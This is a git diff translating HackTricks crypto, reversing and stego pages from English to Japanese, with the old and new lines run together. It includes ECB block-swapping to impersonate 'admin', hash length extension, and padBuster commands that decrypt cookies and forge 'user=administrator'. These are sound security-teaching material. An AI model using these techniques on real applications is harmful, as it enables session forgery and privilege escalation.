- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. - **レジスタ**や**メモリ**の**領域**への**JMP**や**CALL**を探します。また、**引数とアドレスをプッシュしてから`retn`を呼び出す関数**を探します。なぜなら、その場合の関数の戻りは、呼び出す前にスタックにプッシュされたアドレスを呼び出す可能性があるからです。
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - `VirtualAlloc`に**ブレークポイント**を設定します。これは、プログラムがアンパックされたコードを書き込むためのメモリ内のスペースを割り当てます。「ユーザーコードまで実行」するか、F8を使用して**関数を実行した後にEAX内の値を取得**します。そして「**ダンプ内のそのアドレスを追跡**」します。アンパックされたコードが保存される領域であるかもしれないので、どこに保存されるかはわかりません。
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). - **`VirtualAlloc`**に**「40」**という値を引数として渡すことは、読み取り+書き込み+実行を意味します(実行が必要なコードがここにコピーされる予定です)。
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. - コードを**アンパックしている間**、**いくつかの呼び出し**が**算術演算**や**`memcopy`**や**`Virtual`**`Alloc`のような関数に見られるのは普通です。もし、明らかに算術演算のみを行い、場合によっては`memcopy`を行う関数にいる場合、**関数の終わりを見つける**おそらくレジスタへのJMPまたは呼び出し**か**、少なくとも**最後の関数への呼び出しを見つけて実行する**ことをお勧めします。なぜなら、そのコードは興味深くないからです。
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). - コードをアンパックしている間、**メモリ領域が変更されたときは注意**してください。メモリ領域の変更は、**アンパックコードの開始を示す可能性があります**。Process Hackerを使用してメモリ領域を簡単にダンプできますプロセス --> プロパティ --> メモリ)。
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - コードをアンパックしようとしているとき、**アンパックされたコードで作業しているかどうかを知る良い方法**(そのため、単にダンプできます)は、**バイナリの文字列を確認すること**です。ある時点でジャンプを行い(おそらくメモリ領域を変更)、**はるかに多くの文字列が追加されたことに気付いた場合、**あなたが**アンパックされたコードで作業していることがわかります**。\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. しかし、パッカーにすでに多くの文字列が含まれている場合は、「http」という単語を含む文字列の数を確認し、この数が増加するかどうかを確認できます。
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). - メモリの領域から実行可能ファイルをダンプするとき、[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)を使用していくつかのヘッダーを修正できます。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,34 +2,32 @@
# ECB # ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. (ECB) 電子コードブック - 対称暗号化方式で、**平文の各ブロックを** **暗号文のブロックに置き換えます**。これは**最も単純な**暗号化方式です。主なアイデアは、**平文をNビットのブロックに分割**(入力データのブロックサイズ、暗号化アルゴリズムに依存)し、次にその平文の各ブロックを唯一のキーを使用して暗号化(復号化)することです。
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications: ECBを使用することには複数のセキュリティ上の影響があります
- **Blocks from encrypted message can be removed** - **暗号化されたメッセージからブロックを削除できる**
- **Blocks from encrypted message can be moved around** - **暗号化されたメッセージからブロックを移動できる**
# Detection of the vulnerability # 脆弱性の検出
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\ アプリケーションに何度もログインすると、**常に同じクッキーを取得する**ことを想像してください。これは、アプリケーションのクッキーが**`<username>|<password>`**であるためです。\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ 次に、**同じ長いパスワード**と**ほぼ同じ** **ユーザー名**を持つ新しいユーザーを2人生成します。\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. **両方のユーザーの情報が同じである8Bのブロックが** **等しい**ことがわかります。次に、これは**ECBが使用されている**ためかもしれないと想像します。
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
次の例のように。これらの**2つのデコードされたクッキー**が何度もブロック**`\x23U\xE45K\xCB\x21\xC8`**を持っていることに注目してください。
``` ```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
``` ```
これは、**それらのクッキーのユーザー名とパスワードに「a」という文字が何度も含まれていたため**です(例えば)。**異なる**ブロックは、**少なくとも1つの異なる文字**(区切り文字「|」やユーザー名の必要な違いなど)を含むブロックです。
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). 今、攻撃者はフォーマットが`<username><delimiter><password>`または`<password><delimiter><username>`のどちらであるかを発見する必要があります。そのために、**似たような長いユーザー名とパスワードを持ついくつかのユーザー名を生成するだけで、フォーマットと区切り文字の長さを見つけることができます:**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** | ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | クッキーの長さ(デコード後): |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- | | ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 | | 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 | | 3 | 3 | 6 | 8 |
@ -37,37 +35,33 @@ Now, the attacker just need to discover if the format is `<username><delimiter><
| 4 | 4 | 8 | 16 | | 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 | | 7 | 7 | 14 | 16 |
# Exploitation of the vulnerability # 脆弱性の悪用
## Removing entire blocks ## 完全なブロックの削除
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
クッキーのフォーマット(`<username>|<password>`)を知っている場合、ユーザー名`admin`を偽装するために、`aaaaaaaaadmin`という新しいユーザーを作成し、クッキーを取得してデコードします:
``` ```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
以前に作成したパターン `\x23U\xE45K\xCB\x21\xC8` を見ることができます。このパターンは、`a` のみを含むユーザー名で作成されました。\
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ 次に、最初の8Bのブロックを削除すると、ユーザー名 `admin` の有効なクッキーが得られます:
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
``` ```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
``` ```
## ブロックの移動
## Moving blocks 多くのデータベースでは、`WHERE username='admin';`を検索するのと、`WHERE username='admin ';`を検索するのは同じです。 _(余分なスペースに注意)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ したがって、ユーザー`admin`を偽装する別の方法は次のとおりです。
So, another way to impersonate the user `admin` would be to: - ユーザー名を生成します: `len(<username>) + len(<delimiter) % len(block)`。ブロックサイズが`8B`の場合、`username `というユーザー名を生成できます。デリミタ`|`を使用すると、チャンク`<username><delimiter>`は2つの8Bのブロックを生成します。
- 次に、偽装したいユーザー名とスペースを含む正確な数のブロックを埋めるパスワードを生成します: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs. このユーザーのクッキーは3つのブロックで構成されます: 最初の2つはユーザー名 + デリミタのブロックで、3つ目はユーザー名を偽装しているパスワードです: `username |admin `
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` **次に、最初のブロックを最後のブロックに置き換えるだけで、ユーザー`admin`を偽装します: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** ## 参考文献
## References
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>) - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages # エソテリック言語
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages そのウィキをチェックして、より多くのエソテリック言語を検索してください。
## Malbolge ## Malbolge
``` ```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#" ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@> `CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
``` ```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet ## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar ## Rockstar
``` ```
Midnight takes your heart and your soul Midnight takes your heart and your soul
While your heart is as high as your soul While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world Whisper my world
``` ```
{% embed url="https://codewithrockstar.com/" %} {% embed url="https://codewithrockstar.com/" %}
## PETOOH ## PETOOH
``` ```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# Hash Length Extension Attack # ハッシュ長拡張攻撃
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Summary of the attack ## 攻撃の概要
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: サーバーが**データ**に**秘密**を**追加**して**署名**し、そのデータをハッシュ化していると想像してください。もしあなたが以下を知っているなら:
- **The length of the secret** (this can be also bruteforced from a given length range) - **秘密の長さ**(これは与えられた長さの範囲からブルートフォースで求めることもできます)
- **The clear text data** - **平文データ**
- **The algorithm (and it's vulnerable to this attack)** - **アルゴリズム(そしてそれがこの攻撃に対して脆弱である)**
- **The padding is known** - **パディングが知られている**
- Usually a default one is used, so if the other 3 requirements are met, this also is - 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed - パディングは秘密+データの長さによって異なるため、秘密の長さが必要です
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。
### How? ### どうやって?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. 基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ 例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
If an attacker wants to append the string "append" he can: 攻撃者が「append」という文字列を追加したい場合、彼は以下のことができます
- Generate a MD5 of 64 "A"s - 64の「A」のMD5を生成する
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b - 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
- Append the string "append" - 文字列「append」を追加する
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** - ハッシュを完了し、結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります
### **Tool** ### **ツール**
{% embed url="https://github.com/iagox86/hash_extender" %} {% embed url="https://github.com/iagox86/hash_extender" %}
### References ### 参考文献
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) この攻撃については[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done: CBCを復号するには、**逆の** **操作**が行われます:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**. **暗号化** **キー**と**IV**を使用する必要があることに注意してください。
## Message Padding ## メッセージパディング
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ 暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完了するために**パディング**が通常必要です。\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. 通常、**PKCS7**が使用され、ブロックを完了するために**必要な** **バイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
Let's look at more examples with a **2 blocks of length 8bytes**: **8バイトの長さの2つのブロック**の例を見てみましょう:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**. 最後の例では、**最後のブロックが満杯だったため、パディングだけの別のブロックが生成されました**。
## Padding Oracle ## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. この動作を検出した場合、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。
### How to exploit ### どのように悪用するか
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行うことができます。
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
サイトのクッキーが脆弱かどうかをテストするために、次のことを試すことができます:
In order to test if the cookie of a site is vulnerable you could try:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能です。ヘルプメニューを確認してください)。
**Encoding 0** means that **base64** is used (but others are available, check the help menu). この脆弱性を**悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster`を使用して -plaintext** パラメータを指定することでも可能です。
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを探しますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
### 理論
### The theory **要約**すると、すべての**異なるパディング**を作成するために使用できる正しい値を推測することで、暗号化されたデータの復号を開始できます。次に、パディングオラクル攻撃が、1、2、3などのパディングを**作成する**正しい値を推測しながら、最後から最初へバイトを復号化し始めます。
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
![](<../images/image (561).png>) ![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ 暗号化されたテキストが**2ブロック****E0からE15**のバイトで構成される)を占めていると想像してください。\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ **最後の** **ブロック****E8**から**E15**)を**復号化**するために、全ブロックが「ブロック暗号復号化」を通過し、**中間バイトI0からI15**を生成します。\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: 最後に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。したがって:
- `C15 = D(E15) ^ E7 = I15 ^ E7` - `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6` - `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4` - `C12 = I12 ^ E4`
- ... - ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` 今、`C15``0x01`に**変更する**ことが可能であり、これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` したがって、E'7を見つけることで、**I15を計算する**ことが可能です:`I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` これにより、**C15を計算する**ことができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. **C15**を知っているので、今度は**C14を計算する**ことが可能ですが、今回はパディング`\x02\x02`をブルートフォースします。
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14``0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 次に、C14を復号化するために同じ手順を実行します**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.** **このチェーンをたどって、暗号化されたテキスト全体を復号化します。**
### Detection of the vulnerability ### 脆弱性の検出
Register and account and log in with this account .\ アカウントを登録し、このアカウントでログインします。\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. **何度もログイン**して、常に**同じクッキー**を取得する場合、アプリケーションに**何か**が**間違っている**可能性があります。ログインするたびに**返送されるクッキーは一意であるべきです**。クッキーが**常に**同じであれば、それはおそらく常に有効であり、無効にする方法は**ありません**。
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ 今、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されることがわかります。\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. しかし、パディングをBF例えばpadbusterを使用すると、異なるユーザーに対して有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して非常に脆弱である可能性があります。
### References ### 参考文献
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. もしRC4を使用してプレーンテキストを暗号化できれば、同じパスワードを使用してそのRC4によって暗号化された任意のコンテンツを暗号化関数を使って復号化できます。
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: 既知のプレーンテキストを暗号化できる場合、パスワードを抽出することも可能です。詳細な参考情報はHTB Kryptosマシンにあります
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -1,51 +1,42 @@
# Stego Tricks # ステゴトリック
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files** ## **ファイルからのデータ抽出**
### **Binwalk** ### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). 埋め込まれた隠しファイルやデータを探すためのバイナリファイル検索ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。
```bash ```bash
binwalk file # Displays the embedded data binwalk file # Displays the embedded data
binwalk -e file # Extracts the data binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data binwalk --dd ".*" file # Extracts all data
``` ```
### **Foremost** ### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). ヘッダーとフッターに基づいてファイルを回復し、png画像に便利です。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/korczis/foremost)にあります。
```bash ```bash
foremost -i file # Extracts data foremost -i file # Extracts data
``` ```
### **Exiftool** ### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). ファイルメタデータを表示するのに役立ちます。利用可能なリンクは[こちら](https://www.sno.phy.queensu.ca/~phil/exiftool/)です。
```bash ```bash
exiftool file # Shows the metadata exiftool file # Shows the metadata
``` ```
### **Exiv2** ### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). exiftoolと同様に、メタデータの表示に使用されます。`apt`を介してインストール可能で、ソースは[GitHub](https://github.com/Exiv2/exiv2)にあり、[公式ウェブサイト](http://www.exiv2.org/)があります。
```bash ```bash
exiv2 file # Shows the metadata exiv2 file # Shows the metadata
``` ```
### **ファイル**
### **File** 扱っているファイルの種類を特定します。
Identify the type of file you're dealing with. ### **文字列**
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
さまざまなエンコーディング設定を使用して、ファイルから読み取り可能な文字列を抽出します。
```bash ```bash
strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings strings -n 6 file | head -n 20 # First 20 strings
@ -57,74 +48,65 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian) strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian) strings -e B -n 6 file # 32bit strings (big-endian)
``` ```
### **比較 (cmp)**
### **Comparison (cmp)** オンラインで見つかった元のバージョンと修正されたファイルを比較するのに便利です。
